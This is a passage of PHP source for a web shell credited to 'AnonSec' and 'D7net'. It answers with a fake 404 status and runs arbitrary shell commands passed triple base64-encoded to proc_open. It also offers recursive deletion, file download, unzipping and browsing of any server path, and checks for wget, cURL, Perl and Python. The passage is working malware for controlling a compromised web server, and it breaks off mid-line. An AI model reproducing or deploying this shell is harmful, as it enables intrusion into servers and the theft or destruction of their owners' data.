@set_time_limit(0);
@error_reporting(0);
@http_response_code(404);
$disfunc = @ini_get("disable_functions");
if (empty($disfunc)) {
$disf = "<font color='gold'>NONE</font>";
} else {
$disf = "<font color='red'>".$disfunc."</font>";
}
function author() {
echo " AnonSec - 2021 | Recode By D7net";
exit();
}
function cekdir() {
if (isset($_GET['path'])) {
$lokasi = $_GET['path'];
} else {
$lokasi = getcwd();
}
if (is_writable($lokasi)) {
return "<font color='green'>Writeable</font>";
} else {
return "<font color='red'>Writeable</font>";
}
}
function cekroot() {
if (is_writable($_SERVER['DOCUMENT_ROOT'])) {
return "<font color='green'>Writeable</font>";
} else {
return "<font color='red'>Writeable</font>";
}
}
function xrmdir($dir) {
$items = scandir($dir);
foreach ($items as $item) {
if ($item === '.' || $item === '..') {
continue;
}
$path = $dir.'/'.$item;
if (is_dir($path)) {
xrmdir($path);
} else {
unlink($path);
}
}
rmdir($dir);
}
function dunlut($file) {
if (!is_readable($file)) {
red("Cannot Download File / Unreadable File !");
die();
}
header('Content-Description: File Transfer');
header('Content-Type: application/octet-stream');
header('Content-Disposition: attachment; filename="'.basename($file).'"');
header('Expires: 0');
header('Cache-Control: must-revalidate');
header('Pragma: public');
header('Content-Length: ' . filesize($filepath));
flush();
readfile($file);
die();
}
function owner($file) {
if (function_exists("posix_getpwuid")) {
$tod = @posix_getpwuid(fileowner($file));
return "".$tod['name']."";
} else {
return "".fileowner($file)."";
}
}
function cekwrite($lokasi) {
$izin = substr(sprintf('%o', fileperms($lokasi)), -4);
if (is_writable($lokasi)) {
return "<font color=green>".$izin."</font>";
} else {
return "<font color=red>".$izin."</font>";
}
}
function ekse($komend, $lokasi) {
if (!function_exists("proc_open")) {
die("proc_open function disabled !");
} elseif (!function_exists("base64_decode")) {
die("base64_decode function disabled !");
}
$komen = base64_decode(base64_decode(base64_decode($komend)));
$tod = @proc_open($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $pipes, $lokasi);
echo "<textarea rows='25' cols='100'>".htmlspecialchars(stream_get_contents($pipes[1]))."</textarea>
";
}
function ipserv() {
if (empty($_SERVER['SERVER_ADDR'])) {
return gethostbyname($_SERVER['SERVER_NAME']);
if (empty(gethostbyname($_SERVER['SERVER_NAME']))) {
return $_SERVER['SERVER_NAME'];
}
} else {
return $_SERVER['SERVER_ADDR'];
}
}
function cekfile($file) {
return '<i class="fa fa-file" style="color: #d6d4ce"></i> ';
}
function filedate($file) {
return date("F d Y g:i:s", filemtime($file));
}
function unzip($file, $lokasi) {
if (!is_readable($file)) {
red("Cannot Unzip File / Unreadable File !");
die();
} elseif (strpos(file_get_contents($file), "\x50\x4b\x03\x04") === false) {
red("This isn't Zip File !");
die();
}
$zip = new ZipArchive;
$res = $zip -> open($file);
if ($res == true) {
$zip -> extractTo($lokasi);
$zip -> close();
green("Success Unzip File !");
} else {
red("Failed to Unzip File !");
}
}
function green($text) {
echo "<font color='green'>".$text."</font>";
}
function red($text) {
echo "<font color='red'>".$text."</font>";
}
if (function_exists("mysql_connect")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " | cURL : ";
if (function_exists("curl_init")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " | WGET : ";
if (file_exists("/usr/bin/wget")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " | Perl : ";
if (file_exists("/usr/bin/perl")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
echo " | Python : ";
if (file_exists("/usr/bin/python2")) {
echo "<font color=green>ON</font>";
} else {
echo "<font color=red>OFF</font>";
}
foreach($_POST as $key => $value){
$_POST[$key] = stripslashes($value);
}
if(isset($_GET['path'])){
$lokasi = $_GET['path'];
$lokdua = $_GET['path'];
} else {
$lokasi = getcwd();
$lokdua = getcwd();
}
$lokasi = str_replace('\\','/',$lokasi);
$lokasis = explode('/',$lokasi);
$lokasinya = @scandir($lokasi);
echo " Directory (".cekwrite($lokasi).") : ";
foreach($lokasis as $id => $lok){
if($lok == '' && $id == 0){
$a = true;
echo '<a href="?path=/">/</a>';
continue;
}
if($lok == '') continue;
echo '<a href="?path=';
for($i=0;$i<=$id;$i++){
echo "$lokasis[$i]";
if($i != $id) echo "/";
}
echo '">'.$lok.'</a>/';
}
echo ' |